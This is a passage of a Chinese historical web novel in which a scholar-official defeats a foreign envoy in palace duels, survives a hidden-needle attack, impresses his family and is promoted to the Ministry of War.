只是丢失的面子还是要找回来的,肃王拱手道:“陛下,您饶恕了于梁才的隐瞒之罪,只是这额尔多罗虽然赢了,但难免有些胜之不武,恳请陛下降旨,着人重新比过!”
众臣也齐声道:“请陛下降旨重新比过。”
西戎正使却反驳道:“陛下,方才额尔多罗已经比试过一场,有些力竭,若是再选人比过,那岂非不公平?”
其实景和帝早有打算,见西戎正使如此说,便道:“既然正使有异议,也不一定非得是额尔多罗,你们重新选一个勇士,正好方才朕还未看尽兴呢。”
这番话让西戎正使有些哑口无言,他们这些人中,额尔多罗最勇武,若选旁人必定会败。
“陛下,西戎正使无言以对,不如再选人对决,额尔多罗如此勇武,想必也会愿意的。”肃王拱手建议着。
此时此刻,额尔多罗被架住了,若是继续比试,他还是西戎的勇士,但如果趁此退缩,那就对不起这勇士之名。
可他是自信的,面上全是傲然之色,“那是自然!”
在封砚初心里,自己的武艺一直不强,所以方才一直在观察场中,没想到发现自己完全没问题。
根本原因是他往常与孙延年这种武将世家的子弟比拼,所以才有一种自己并不强的错觉。他小看了孙延年,也小看了武将世家这四个字,更别说后来的他,已经可以胜过孙延年了。
就在封简宁与封砚开一个不留意,他已经站起来了。父子二人满眼震惊,恨不得将人拉回来,奈何众目睽睽之下不好动手。
景和帝就这么看着封砚初走到场中,心中了然的同时又有些欣慰,看来年轻一辈里头,还是有很多人想着大晟的,以大晟的利益为先。
“封修撰?你有何事要奏?”
封砚初行礼道:“启禀陛下,臣在读书一事上虽有些出息,奈何自幼体弱,便在闲暇之际也会锻炼身体。所以臣想着,若是让我大晟的武官与这位西戎的勇士对决,未免有些欺负他,不如让臣这个文弱书生代劳。”
在场但凡熟悉封砚初的人,听了‘文弱书生’,‘自幼体弱’这几个字,嘴角不禁抽搐。你封砚初幼时调皮捣蛋那可是出了名的!还自幼体弱,文弱书生?当年被武安侯打的那是上窜下跳,满府乱跑上房顶的人是谁?
可还有不知情的人,心中暗骂他多事。你读书确实好,但眼前是读书的事吗?这是要上演全武行啊,你一个翰林院的修撰凑什么热闹!
封简宁知道儿子练过武,但具实力如何心里没底,不由问向一旁的长子,“大郎,你弟弟虽说会些武功,可到底怎么样?”
封砚开暗暗摇头,他只后悔没有好好关注一下二弟的武艺,如今对方毛遂自荐,他也跟着提心吊胆。
反观陈泽文却瞟了一眼父亲,心中后悔不已,怎的就听了父亲的话,现下好了,让封砚初抢先了吧,如今对方可要露脸了。
第一百九十九章 你虽是小人,但我是君子
景和帝看着自信沉着的封砚初。其实对于眼前之人,他之前只是顺带调查了一番,直到后来对方考中状元,这才算是真正进入他的眼中,“准!你想用长枪还是剑呢?”
封砚初拱手道:“都可。”
“好,你先去更衣,一会儿比试。”景和帝又看向额尔多罗,“方才之人乃是我大晟的金科状元,是读书人中的翘楚啊!”
额尔多罗并不在乎。在他心里,那人不过是一介书生,即使练武,也比不上自己。毕竟对方还要分心读书,留给练武的时间又能有多少呢?
此刻他的想法是大晟太过狡猾,派一个文官与自己对打。即使对方败了也无妨,宣扬出去,别人只会觉得自己胜之不武,打败一个书生算得什么本事。
思及此处,行礼道:“陛下,还请您重新派一个人吧,外臣胜了也是欺负他,难道大晟连一个能打的武官也派不出来?”
景和帝抚着胡须瞥了对方一眼,冷淡道:“你还是先与他打了之后再说。”
这时候,封砚初已经换下朝服重新进入大殿,现在他身上穿的衣裳打起架更方便。进来后,正好听见这话,讥讽道:“使臣还是不要太过自满,若是连我一个文弱书生都打不过,岂不是更丢你西戎的脸?”
随后不等对方回击,便朝陛下行礼道:“臣翰林院修撰封砚初,已经准备妥当!”
“好,那便开始吧,上长枪!”随着景和帝一声令下,侍卫将准备好的长枪交给对方。
就在众人议论纷纷之际,封砚初接过了长枪。他先是随意挥了几下,然后点头认可,用起来很顺手!
紧接着缓步走向场中,与额尔多罗对面而立,做出一个请的姿势,“你为客,你先请!”
可落入额尔多罗眼中,确是赤裸裸的挑衅。原本他还想用自己的弯刀轻松解决,既然对方如此不识趣,便换了武器,赫然是一杆长枪。
甚至挑衅地问道:“不知这位封大人,可认识这杆枪?它是我初次上战场,杀了一个小将所得!”
封砚初眼中透着寒意,手里握着的长枪微微转动,慢条斯理的语调中满是瞧不起的蔑视,“可惜,今日要留在这里了。”
话音刚落,额尔多罗已被激的最先动手。他脸上露出势在必得的森森笑意,长枪破空,直冲封砚初门面袭来。这已经不是简单的打斗,分明是冲着重伤而来。
封砚初镇定自若,对迎面而来的危险并不慌张。他脚上踩着烟云步轻松侧身躲过,手中长枪即刻一转,枪身呼啸,猛地一挥,将对方震得连连后退!
他并未给对方机会,脚尖轻点,枪随身动,瞬间到了对方跟前,枪尖在其肩上一挑,一朵血花绽放。
他的长枪抵着额尔多罗道:“你败了!”
周遭之人也欢呼起来,不停地喊叫着。
“封修撰,好样的!”
“封砚初,你真给咱们大晟文官长脸!”
邢勉眼神很锐利,他认出了封砚初使的功夫,不禁脱口而出,“封家的惊鸿枪!”紧接着,目光看向景和帝,只见对方嘴角含笑,分明早就知道。
就在众人皆以为胜负已定之际。受伤的额尔多罗恼羞成怒,他原本以为可以轻松解决掉封砚初,之所以使枪不过是为了侮辱大晟,其实他本人比起长枪,更擅长的弯刀。
此刻,他并未停手,而是扔下手中的那杆枪,重新拿起弯刀,大声喝道:“方才不算,咱们重新比过!”
其余人听了这不要脸之语,气的破口大骂。
陈泽文更是出了座位,都快跑到了场中了,指着对方骂道:“无耻小人,二郎已经赢了你,你竟然耍赖,无耻至极!”
反观封砚初,却将长枪递给一旁的侍卫,然后转身对在场之人说道:“不知谁有长剑,借封某一用?”
“将朕的剑取来!”景和帝这一句话就相当于对所有人表态,他对额尔多罗的行为十分不满。
“谢陛下!”封砚初接过剑试了试。
然后才对额尔多罗道:“既然你用弯刀对决,若本官继续用枪,岂不是欺负你?你虽是小人,但我是君子。如此,便也换兵器与你比试!”
额尔多罗的弯刀确实使得十分老练,那刀像是长在他手里一般,分外的灵活,“哼,接着比!”说完就冲了过来。
封砚初并未言语,只冷笑一声,随即拧身,身形变得飘忽,不知何时,长剑已经贴着对方的腰一闪而过。
等额尔多罗反应过来,封砚初早已持剑立在身后。他猛地转身一瞧,只见对方是那样的轻松自在,甚至还有心情用手扫衣袖上的灰。
“可恶,再来!”说着,又冲了过去。
封砚初嘴角扯出一抹不怀好意的笑。在对方冲过来之际,身形一矮,长剑再次扫过对方的腰身;紧接着双足一顿,身子腾空而起,轻飘飘落在了不远之处,甚是潇洒。
额尔多罗被气的不轻,用弯刀指着对方,斥责道:“有本事真刀真枪的干,你总是躲着算怎么一回事!”
只见封砚初眼神向下一扫,用着漫不经心的语气嘲讽,“那个额什么罗,你即便要打,好歹也把裤子提起来。莫不是你们西戎人到别人家做客的礼仪就是如此?那可真叫人大开眼界啊!”
额尔多罗这才察觉下身一凉,原来他的裤子早在方才打斗的过程中,就被对方用长剑隔断了,他羞愤不已,连忙将裤子提起来!
此刻耳边尽是嘲笑之声。
“哈哈哈,就是,额尔多罗,你即使想打,好歹将裤子提起来呀!”
“你们西戎到底是蛮夷之地,未受礼教开化,怎能大庭广众之下脱裤子呢?”
就连景和帝也哈哈笑道:“没想到你们西戎勇士就是如此水平,能力也不怎么样啊!”
陈泽文更是在一边肆无忌惮的哈哈大笑,“你们西戎勇士就这么不堪一击啊,连我大晟的文弱书生都打不过!”
第二百章 竟然使这鬼祟伎俩
胜负明了。
封砚初连看都懒得看对方一眼,直接捧起长剑,上前道:“还请陛下恕罪,此剑是您借给臣的,本来高洁,却被臣用来割了污浊之物。”其实他说那些话,不过是为了贬低西戎人。
景和帝心情甚好,哈哈笑道:“此剑虽为名器,然终究是一件器物。今日封卿能用它为大晟夺得胜利,朕心甚慰,何来怪罪一说?而且朕还要奖赏你呢!”说话间挥手示意江荣海将剑收回。
封砚初见陛下并未怪罪,行礼道:“谢陛下,比试已经结束,臣告退。”
“确实,方才与西戎人的一番比试消耗了不少力气,想来也饿了,快回去用膳吧!”景和帝很满意封砚初的进退有度,只是他兴致正高,还吩咐一旁的江荣海,“赐封修撰一道翡翠虾仁。”
“谢陛下赏赐。”封砚初再次行礼谢过之后,才往座位上走去。
现下,兴奋已过,众人都平静下来了。
只有额尔多罗依旧站在场中,所有人都以为他是接受不了失败。
景和帝还让其归位,可此人一动未动,就在他生气之际,意外发生。
额尔多罗双目通红,死死盯着那个将他尊严践踏至体无完肤之人,恶念丛生,手指微动……
就在封砚初朝座位的方向走去之时,耳边忽然传来一阵细微的声音,几乎是下意识用手指一接,竟然是一枚钢针!他脸上的表情瞬间凝固,顺着射来的方向看去,果然站着额尔多罗!
此人面带震惊之色。估计是自己没想到,他可以在没有任何防备的情况下,可以徒手接住暗器。
封砚初目光犹如尖刺一般直戳额尔多罗,表情阴的能杀人。对方见他神色不对正要后退。
可封砚初怎么可能给其机会。说时迟那时快,他飞速移步上前,在此人还未反应过来,便一掌拍在其胸口之上。
只见额尔多罗径直飞了出去,直接撞到大殿的柱子之上,口吐鲜血,胸口凹陷,明显肋骨尽断!
封砚初居高临下,几乎是咬着牙说,“比试结束,你既败了,竟然还使这鬼祟伎俩!”
这一切发生的太突然,几乎是在电光火石之间,众人大惊,高台之上,江荣海甚至上前几步挡在景和帝身前。
同时,西戎正使‘蹭’的一下站起来,指责道:“封大人,你竟然无故打伤我西戎使臣!”
肃王见状看向皇兄,“陛下,情况不对!”
陈泽文也被吓了一跳,他几乎是与肃王同时开口,“陛下,封砚初不是无故伤人的人。”
此时,景和帝眉头紧锁,挥退江荣海之后,又让侍卫上前查看,这才问道:“封修撰怎么回事?”
只见封砚初高举钢针走上前,躬身道:“陛下请看?”在众人好奇的目光之下,江荣海接过东西呈给景和帝。
当景和帝看到东西之后,按下眼底的震惊之色,沉声道:“钢针!”此刻,已经有人反应过来了。
皇后也伸头看去,心中竟有些复杂,“陛下,西戎人贼心不死,居心叵测。”
封砚初神色严肃道:“陛下容禀,比试结束之后,臣正往自己的位置走去。没想到西戎使臣额尔多罗,趁臣不备之际,将此钢针射向臣,若非臣有些功夫在身,恐怕此刻已经一命呼呜了!”
景和帝听后果然大怒,“放肆!未经允许,不仅偷偷将暗器带入宫内,还竟敢用此伤人!来人,将额尔多罗押入大狱!其余西戎使臣幽禁驿馆!”
禁卫军副统领带领一队禁军侍卫,将诸位西戎人全部拿下。但当他看到额尔多罗的情况之时,心里不禁有些犯嘀咕,赶紧上前禀奏。
“陛下,额尔多罗肋骨断裂,口吐鲜血,估计伤到了内脏,若是就此将人送进大狱,恐怕在半道上就撑不住了。”
景和帝心中也是一惊,他没想到封砚初的武功竟然这么高。可见方才对敌之时并未尽力,反而留有余地。直到额尔多罗多行不义,欲以暗器伤人,这才将其惹怒。可封砚初只是拍了对方一掌而已,没想到就这般严重。
不过,他早就对额尔多罗的挑衅十分恼怒,如此正好,“既然这额尔多罗使这鬼祟伎俩,就应该想到结果,带下去!”
“是!”禁卫军副统领明白,陛下这是不管的意思,立即领命而去。
好好的一场除夕宴就被西戎使臣毁了,不过恰好震慑了其余藩属国,也不算虎头蛇尾。
发生了这样的事情,宴会也已接近尾声,景和帝顺势便下令结束。
而对于方才那一幕,封简宁自始自终都提心吊胆,一会儿担心儿子打不过,一会儿担心陛下怪罪,又一会儿被儿子遇险吓到,再此期间还要应和着周围人的恭维。
所以见到次子的那一刻,上上下下打量了一番之后,才松了一口气,嘴里不停地念叨着,“没事就好,没事就好!”此刻的封简宁,早已将次子主动请缨比武的事情抛之脑后了。
大郎封砚开整个过程十分兴奋,他还没看见具体发生什么,就看到二郎一掌将人打飞出去了,当时他的嘴巴张的老大。一直到最后才听见说,是那个额尔多罗要偷袭二郎。
当他看到弟弟安然无恙后,几乎是与父亲同时松了一口气,连动作都一模一样。
“二郎,方才太凶险了,那个额尔多罗实在卑劣,以后你要稳重一些。”
“居然想用暗器伤人,那就要付出代价!”封砚初悄悄观察着父亲与大哥的神色,见两人已经忘了他自作主张。
就在父子三人出宫的路上,每每有人经过,必定要来上一句话。
“恭喜武安侯,令郎真是有先祖之风啊。”
“有子如此,武安侯后顾无忧了。”
“哎呀,武安侯,想必经此一事,令郎必定会受到陛下重用。”
“武安侯,你也太不够意思了,令郎会武又不是坏事,你竟然瞒了大家这么多年。”
就连邢勉在出宫的路上都拍了拍封砚初的肩膀赞道:“上次秋猎,我就瞧着你不错来着。”
第二百零一章 可有一样能拿到人前
陈泽文出来之时,神情郁郁,看到封砚初之时还哼了一声,这让他刚抬起的手又放了下来,随后疑惑地看向一起的沈在云,问道:“他这是怎么了?”
沈在云也被对方的行为逗的呵呵笑着:“还能为什么?被打击了呗。”
陈泽文见状叹气道:“唉,想我习武已经很努力了,可是更过分的是,咱俩比武之时,你居然让着我!你太过分了!”
封砚初看向对方,“你是小孩子吗?咱俩那是喂招,能和今日相提并论吗?”
三人正说话之际,就看见江荣海气喘吁吁的跑来,“哎呦,封修撰,你跑的也忒快了,我是紧赶慢赶都没撵上。”
“江公公找我何事?”封砚初略拱拱手全当致歉。
“哎呀,可算是追上了!我就耽搁了那么一会儿,你就不见踪影了。”江荣海说话间,看向着身后捧着盒子的小太监,随后清了清嗓子,正色道:“封修撰,虽然除夕宴已经结束,但陛下早已说过赐您一道翡翠虾仁。”
封砚初这才想起来,连忙恭敬地接过盒子,“臣封砚初谢陛下赐菜。”
江荣海听完这话,“好了,封修撰既已接了赏赐,我的差事便完成了,告辞。”
“劳烦江公公了,慢走。”
送走对方,忽然一阵寒风吹过,三人均是一个哆嗦。
封砚初抬起头,原本还暖阳高挂的天空,不知何时变了脸,蒙上一层阴霾,“瞧这天气没准要下雪,咱们还是走快点吧。”
谁知刚出宫门,冷风已经裹挟着细雪迎面扑来,耳边除了寒风的呼啸声,还传来父亲封简宁的呼喊,“二郎,要下雪了,快着点。”
他转头看向正在领取自身物品的两人,说道:“陈大郎,世子殿下,我先行一步了。”
那两人几乎是同时回头摆手,“好,改日再约。”
父子三人刚上了马车,封简宁便问,“三郎如今学的怎么样?明年武试科考可有希望?”
封砚初轻叹一声,摇头道:“儿子也不清楚,不过最近确实努力了许多,不用人催,便已经安排好时间。”
封简宁听后点头道:“罢了,毕竟练的时间太短,好名次是不用想了,只看他能否有入选的资格。但凡入选,即使是从最底层做起,只要他自己努力,家里再帮忙想想办法,将来也错不了。”之前对三子习武的事情,他并未放在心上,直到今日次子在陛下跟前露了脸,便明白封家的机会来了。
封砚开也说道:“即使明年未中,后头还有机会,陛下为了加强武将实力,必定会再次举办武试科举的。”
本朝对武试远没有文试那般重视。文试基本上每三年就会有一次,这还不算恩科;而武试却要看朝廷的意思,想起来才举办;若想不起来,可能接连好多年都没有,这已经是常态。
当马车抵达武安侯府门前时,雪已下大,天地被一片白纱笼罩,许是因为过年,路上看不到一个行人,只有侯府前守门的下人,提前等候着封家父子。
封砚初并未急着去给老太太请安,而是先回了自己的院子。
刚进院门,王锦娘就已经在等着了。她看到儿子肩上、头上都沾满了雪,一边帮忙拍扫着,一边将人迎进屋内,“二郎,快进屋烤烤火暖一暖,别再着凉。”
封砚初见状笑道:“姨娘,我倒是还好,今日除夕,你怎的不歇着,或是玩一玩。”
“我这一整年什么时候玩不得,今日你进宫参加除夕宴,可顺利?”自从二郎去了宫里,王锦娘就一直惦记着。毕竟能去的那可都是大人物,一个不小心得罪了人,还不知道对方会使什么绊子。
“一切都好,也没发生什么大事,就是吃吃喝喝,赏一赏舞罢了。”封砚初说话间,将身上的朝服脱了下来,并换上平日在家时的衣裳,因为一会儿还要去老太太那里请安,所以外头还披了一件大氅。
他说话之时便出了屋子,“姨娘,我要去祖母那里一趟,还不知道什么时候回来呢,您别白等着,且先回去吧。”
王锦娘拿起伞出屋喊道:“好歹撑着伞。”
因为风雪太大,封砚初只能微眯着眼睛,摆手道:“不用啦,这么大的风,撑伞也没用,您先回去吧!”
谁知刚到老太太那里,封简宁与封砚开早已经来了,甚至将除夕宴上发生的事情,一五一十全说了。
封砚初刚进门,就有丫鬟立即上前接过拖下的大氅,一边替他扫净身上的雪,一边朝里头喊道:“二郎君来啦!”
他才进了内堂,正欲行礼,就被老太太一把拉住,气的在他身上拍了两下,骂道:“你这样冒险,万一出了什么差错,可曾想过家里!”
见老太太的眼泪都快流下来了,他连忙请罪,“祖母,您别生气,是孙儿莽撞了。”
大娘子也上前劝道:“母亲,好在二郎能力出众,如此也算是入了陛下的眼,这大过年的,可不兴掉眼泪。”
就在这时,一个声音响起,语气中满是兴奋之色,“二郎,你真的一掌就拍碎了那西戎人的胸骨?”
二叔封简言气的踹了儿子一脚,骂道:“快快住嘴,你在这添什么乱?二郎不仅读书考了个状元,如今武功也练得这般出色,你呢?可有一样能拿到人前?”
婶娘温氏,轻轻推了二叔一把,“大过年的,高高兴兴的才好,做什么训起儿子来?”
三郎与二妹封砚婉听后十分钦佩。二妹更是接连感叹,“二哥真厉害。”心中却暗暗下定决心好好练武。
三郎也赞道:“二哥,没想到你武功这么好,以前从未听你提起,我要是有一日也能像你一样就好了。”
他不说这话还好,一说这话,就引起封简宁的不满,“你也知道你不如二郎,若是你明年连武试科考的资格都达不到,仔细你的皮!”
三郎被父亲这突如其来的关心吓了一跳,连忙保证,“父亲,您放心,儿子一定会努力的。”
谁知封简宁发出一声冷哼,“你那是给你自己学,要我放心做什么?重要的是,要对得起二郎的这番辛劳,还要对得起你自己!”
此时此刻,听了父亲这话后才明白,为何他之前对二哥训斥的话那般熟悉。
第二百零二章 要有持之以恒的毅力
外头的风雪正盛,但屋里却十分热闹。
之前大家只知道封砚初会武功,但到底有多强,心里并没有概念。现如今得知他能够一掌震碎人的胸骨,便纷纷要求表演一番,好过一过眼瘾。
就比如堂兄封砚明,径直坐在封砚初旁边。他自己并不会武功,又因为没见过,所以眼馋不已,不停地在请求着,“二郎,你在除夕宴上的风姿我无缘得见,你就演示演示呗。”说话时,还越凑越近。
封砚初是一次又一次地用手指将人顶开,“有什么可看的,若真的想看,让三郎来!正好他这几个月在学武。”
封砚明撇嘴嫌弃道:“看他?他才练了几日?既如此还不如让我的护卫练给我看呢!”
三郎封砚池有些伤自尊,但又无言以对,因为对方所言为真。不过,自从二哥教导自己以来,他还从未见对方展现过真正的实力。
此刻,他亦眼神发亮,“二哥,我知道自己学的时间太短,你正好让我开开眼,顺便也能明白咱俩之间的差距有多大!”
二妹封砚婉连连点头,摇着封砚初的胳膊道:“二哥!你就展示一下,我也想看。”
封砚初被烦的不行,抬眼看向四周,只见所有人都目光灼灼地注视着他。
老太太更是说道:“在自己家里,又是兄弟姊妹们相求,你就允了吧。”其实她自己也想看。
封砚初见老太太都这么说了,叹气道:“罢了,罢了,便给你们露一手吧!”这话刚说完,所有人都目不转睛的盯着看。
他随后清了清嗓子,道:“其实无论是学文还是习武,都是一样的,要有持之以恒的毅力。就比如写字,一日不练,只有你自己知道;但一年不练,所有人都会发现你退步了,习武自然也需要每日勤学苦练。”
“这里地方有限,我便演示一下暗器。”说话时走向一旁的六角香几,从上面的花盆里摘下一片叶子,继续道:“其实那些话本小说里写的飞花摘叶可杀人并非虚言,只是需要武功达到一定程度才可以,而且还要具备很强的准头和腕力,以及内功。”
他将摘下来的那片叶子夹在手指间,转头看向三郎,用眼神示意案上的茶杯,吩咐道:“三郎,用力将茶杯扔向空中,注意,离大家远点。”
整个过程,三郎都全神贯注的看着。直到听见二哥叫他,这才反应过来,从距离最近的桌上拿起茶杯,猛地抛向空中。
就在众人还没反应过来的时候,只听‘砰’的一声,茶杯已经在空中裂开,碎片也应声飞到地面。即使有所准备,大家还是被这声音吓了一大跳。
老太太是第一次见孙儿展示武功,心中十分震惊。当看到碎裂的杯子后,便再也忍不住,让竹溪捡起一个碎片细细打量。
“我的天爷,好好的一个杯子就这么碎了?”这是惊叹之语,要是落在不知情之人的耳中,还以为是心疼茶杯。
堂兄封砚明也捡起碎片去瞧,同时摸着自己的脖颈,感叹道:“幸好是瓷片,这要是我的脖子,只怕保不住了。”
婶娘与二叔原本凑近细看,听了儿子说的话,两人同时拍了儿子一下,异口同声道:“胡说什么呢?”
与旁人不同,三郎封砚池见此一幕,只觉两人之间的差距犹如天堑,抓着脑袋叹道:“二哥这般厉害,我什么时候能赶得上啊。”
二妹封砚婉只觉钦佩,她心里已经计划好接下来的训练,听见三哥的话,白了对方一眼,“休要好高骛远,二哥那可是自小练习,到今日最起码也得有十来年了吧,你呢?才练了多久?”
长姐封砚敏忍不住鼓掌道:“二郎,我瞧着与上次相比,你的功夫又有进益了。”
封砚初笑道:“姐姐谬赞了,不过确实有些长进,起码可以敌得过孙延年了。”
“那长进可不小,我记得上次你俩比试,你还败给他了呢?”封砚敏刚笑着说完这话,便发觉不对,环视四周,只见众人的目光都落在她的身上。
大娘子更是脱口而出,“你早就知道二郎习武的事?”
封砚敏瞧了封砚初一眼,见对方只是笑了笑,并未说话,这才道:“也没多久,女儿也是在他乡试结束后,才知道的。”
此刻,封简宁不得不承认,次子天赋异禀,随后又看向还在发懵的三子,语气变得严肃起来,“三郎,以后跟着你二哥好好学,若是让我知道你偷懒躲闲,无论他罚不罚,我先饶不了你。”
直到这时,老太太才总结性地说道:“可算是让大家开了眼。青梅,将碎片收拾了,伤着人可就不好了。”
不知何时,天渐渐暗了,外头的风虽然停了,可雪依旧还下着,整个武安侯府的灯火都已点亮,迎接新的一年。
屋内。
几个孩子按照规矩,一一给长辈们磕头请安,领压岁钱。
到封砚初时,他拒绝了,“大哥未要,孙儿自然也不要,现下我已经做了官,长大了,怎好继续要压岁钱。更何况家里不仅没让我上交俸禄,还继续供应着广林巷的用度,已经很惭愧了。”
这让本来已经接了压岁钱的封砚明,手地停在半空中,收也不是,还也不是。
直到封砚初说了接下来的话,“其他的兄弟姊妹与我俩不同,自然可以接着。”
封砚明听后,这才笑嘻嘻的将压岁钱收了。
第二百零三章 官场如渊,务必小心谨慎
年后,封砚初照常去翰林院。
刚踏入大门,就发现同僚待他与往日不同,可以确切的说是热情了很多。
侍读张望刚瞧见他,就立即上前攀谈,神情激动道:“封大人,我都听说了,你一掌将那西戎人的胸骨拍碎,最后不治而**!”
还未等封砚初回答,检讨刘大人也赞道:“封大人,好样的,你可真给咱们翰林院长脸啊!”
张望点头跟声道:“是啊,现在但凡听过这件事的人没有不赞的,那些西戎使臣太嚣张了,屡次挑衅大晟,活该!”
要说同僚热情倒也罢了,就连翰林院学士周大人,都对封砚初有了几分好脸色,甚至还特意将他叫去说了一番话。
要知道这位周大人最不喜那些勋贵出身之人,所以一直以来,待他十分冷淡。
而贺辞镜是科考的第二名,并不觉得自己比封砚初差。更何况他出身书香门第,在还不会说话的时候,就被教导着认字。所以他面上看着十分客气,实际心中是存着一股傲气。
可现在得知封砚初之前不仅要读书,还要习武,且两样都做的很好之时,心中原先的那股高傲之气不禁散了,甚至还主动与对方说起话来。
当封砚初听到贺辞镜同自己打招呼时,心里还诧异了一小下。毕竟,他还算了解此人,看着平易近人,实则分外傲气。要不是顾忌着,都是抬头不见低头见的同僚,往日对方见他最多含笑点头而已。
与贺辞镜相比,探花郎赵怀旭就活络了许多,他是那种与谁都能说上两句话的人,甚至与门口挑担子卖早点的小贩都能聊上两句。
“之前就听说封大人骑射了得,没想到这一身的功夫更是出类拔萃。”
“赵大人客气,不过是胡乱练的。”封砚初与此人也会说上几句,但要说关系有多近,那是不可能的,甚至比不上张望。
赵怀旭笑道:“封大人祖上那可是武将,自然是家学渊源。”
一番寒暄过后,封砚初就进入了一日的工作当中。陛下当初说要赏赐他,可是时间已经过去了好几日,就在他以为还不知要拖到何时,却接到了一纸调令。
竟将他直接调往兵部,在武选清吏司里任了一个正六品的主事之职。
千万别小看这张调令。觉得三年后散馆考试,最优等留馆,成为翰林院正式官员;中等的才会出任京官;次等的外放地方为官,而封砚初不过是进了兵部罢了,相当于得了个中等。
可区别就是,别人还要熬上三年才能参加散馆考试。封砚初不仅不用参加考试,还提前两年半被授予正式官职,而且是从六品修撰升任为正六品兵部主事,所谓一步快,步步快。这明显是入了陛下的眼是要培养对方。
这些未出翰林院的人,还未参加散馆考试,前程如何未可知,可封砚初的前程是肉眼见的要好起来了。
所以调令刚下,好些人都前来恭贺。
翰林院学士周大人听后也只是一叹,这样有能力的人一旦被上面看到,或者自己有门路,都不会长时间待在翰林院,这里对他们来说不过是一个中转之地。
之前张望就是散馆考试的优异者,原本以为会前程似锦。可优秀又能如何,这么多年过去了,依旧是个正六品的侍读,升迁无望,只能熬着。
相比起旁人,他的恭贺声羡慕中多了一些真诚,“恭喜啊,封修撰,不,是封主事了。”这段时日,他尽力与对方搞好关系,就是为了将来有着想,希望来日有机会升个一官半职的。
检讨刘大人也凑上前,他与张望的境遇十分相似。不过,他是上一届的进士,当时也是雄心壮志。可时至今日才明白,虽然散馆考试很重要,但当初的优异并不能完全决定,你未来的官途就一定
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很好,更多是看人脉。他拱手道:“恭喜封大人,贺喜封大人。”
此刻,赵怀旭是真的羡慕了,别看他家境不错,还考中探花郎,对谁都是一片和气。
但他心里清楚,家中除了自己无一人当官。他没有那些官宦子弟的门路,也与出身勋贵的封砚初不同,对方父亲不仅身上挂着武安侯的爵位,还是吏部左侍郎,即使没入陛下的眼,将来也是前程无忧。
而他只能靠自己。所以在周大人表现出不喜之后,有些人渐渐疏远对方,他却没有跟风。
此刻,赵怀旭哈哈笑着,仿佛是自己升了官一般,“恭喜封大人,有这样的好事,你可要请客吃饭呐!”其余人也纷纷起哄。
觉得封砚初出身富贵不缺钱。有人想趁机吃大户;有人单纯觉得可以吃一顿好的;还有人想趁机再拉拉关系。
可有些人里,有一部分着实平日里待封砚初冷淡的紧,还有一部分则连话也没说上几句。他并不觉得一顿饭就能让这些人对自己改观。他虽不缺钱,但并不会当那冤大头。
这日,宴请了同僚之后,封砚初便回了武安侯府,毕竟是件好事,还是要给家里说一声的。
刚回去,就听父亲封简宁说道:“你被陛下任了兵部主事之职,必定是因为除夕宴上你与额尔多罗对决。如今朝中武将缺失,通兵事的文官更少,否则也不会一直拖了将近一个月,才让邢勉兼任了兵部尚书之职。而且开春后,各地武举就要进京参加武试科举,这本来就是兵部主持。所以必定繁忙,不比翰林院清净。”
说到此处,依旧不放心的叮嘱,“你此番算是入了陛下的眼,落在旁人眼中只会觉得你前程似锦,但同样人心难测,木秀于林,风必摧之,且官场如渊,务必小心谨慎。”
封砚初听后点头道:“父亲放心,儿子知道该如何做。”
第二百零四章 天还没亮,你要干什么?
次日,封砚初带着任命直接去兵部报到。
与翰林院不同,陛下对兵部进行了大调整。很多官员的职位都出现了变动,再加上今年还有武试科考,所以当他踏入兵部的那一刻,便发现上上下下都忙的跟个陀螺似的。
邢勉本来就领着巡城卫的职位,如今还兼任了兵部尚书一职。他不仅要处理兵部的事情,还要处理巡城卫的事务。所以封砚初甚至发现此处时不时还有巡城卫的人出现。
当他带着任命来到邢勉之处时,对方才将一人打发出去。直到听见进门的声音,这才匆忙抬头看了他一眼,“哦,你的任命下来了。你既然会武,又是文科状元,想来稍加历练就可以通兵事,所以我便向陛下提议,让你提前来兵部任武库清吏司的主事,好尽快学习上手,毕竟今年的武试科举即将开始。”
封砚初拱手道:“下官承蒙大人看重举荐,必定竭尽全力。”
邢勉实在太忙了,能抽出时间与他讲上两句话,已经表现出看重的意思。说到此处便准备打发人出去,随即点头道:“你要有能力才行,否则陛下也不会同意,你且下去吧。”
“是,大人,下官告退。”封砚初听后径直出去了,毕竟他还要去拜见一下安槐序安侍郎,如果按照关系,他与对方还是亲戚。
安槐序的父亲是老太太娘家的侄子,所以他们俩是表兄弟。自对方从地方调进京城以来,那可谓是凭借着能力平步青云,不到十年就坐上了兵部侍郎的位置。
兵部本来有左右两名侍郎,奈何此次兵部动荡,又一时没有好人选,所以安槐序这个侍郎便成了邢勉十分重要的帮手。
去了安侍郎之处,对方果然十分忙碌。等他见礼后,也只匆匆抬头说了句,“嗯,今日是年后开朝的第二天,兵部的政务堆积,你是武库司的主事,先去熟悉熟悉。”
对方太忙,封砚初也只是匆匆拜见后就离开了。
其实安槐序本人对于武安侯并无好感,觉得对方无论是何原因,也不应该搅入夺嫡,有这份投机的心思,还不如好好办差。
但他对封砚初还是很有好感的。在他心里,对方小时候不过是一个有点小聪明,且分外淘气的孩子罢了。可没想到的是,忽然有一日,对方便去了隆安寺苦读,还考中了状元,甚至不知什么时候又精通了武艺,在除夕宴上大放异彩。
此次,武库司因为涉及倒卖兵器,所以算得上是大换血。
当封砚初进门后,看见众人都在忙着,还是孙延年的五叔—孙茂孙员外郎最先看见他。
朝众人开口道:“封主事来了,诸位都停一停,我给大家介绍一下,这位是咱们武库司新任的主事,封砚初,封主事!”
忙碌的众人听见声音后,赶紧起身行礼问安,“见过封主事。”封砚初见状亦回了一礼。
直至孙茂道:“都忙吧!”其余人这才重新开始手头上的事务。
“下官见过孙大人。”封砚初这才有时间重新拜见对方。
没想到孙茂见此连连摆手,疲惫的语气中带着一些松散,“我与你二叔相熟,而且你和延年又是好友,不必多礼。”
接下来便引着封砚初介绍周遭情况,“往日咱们武库司并不是最忙的,因为发生了倒卖兵器一事,且今年又有武试科举,所以忙了些。”
又指着正在忙碌的众人,介绍道:“他们是主要负责文书,档案,催督等内部杂事的司务,书吏。还有一些典吏,攒典,库使等未入流的。”说到这里强调着,“别小看这些人,虽然品级低,但位置重要,若没有他们,恐怕连基本的工作都无法进行。”
“至于咱们武库司的上面
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是薛荣祥薛郎中,也是年前才任命的。因为武试科举的事情,一大早便去了礼部,还不知道什么时候回来呢,想见也见不着。你才来,很多地方还很陌生,今日先熟悉熟悉。”
“是。下官多谢大人,今日兵部诸事繁多,劳烦大人讲解。”封砚初再次行礼拜谢。
自从孙知微去了北边,陛下就将孙茂调入兵部武库司为员外郎,否则以前任兵部武库司郎中的那副德行,恐怕连北边将士们的兵器都敢以次充好。
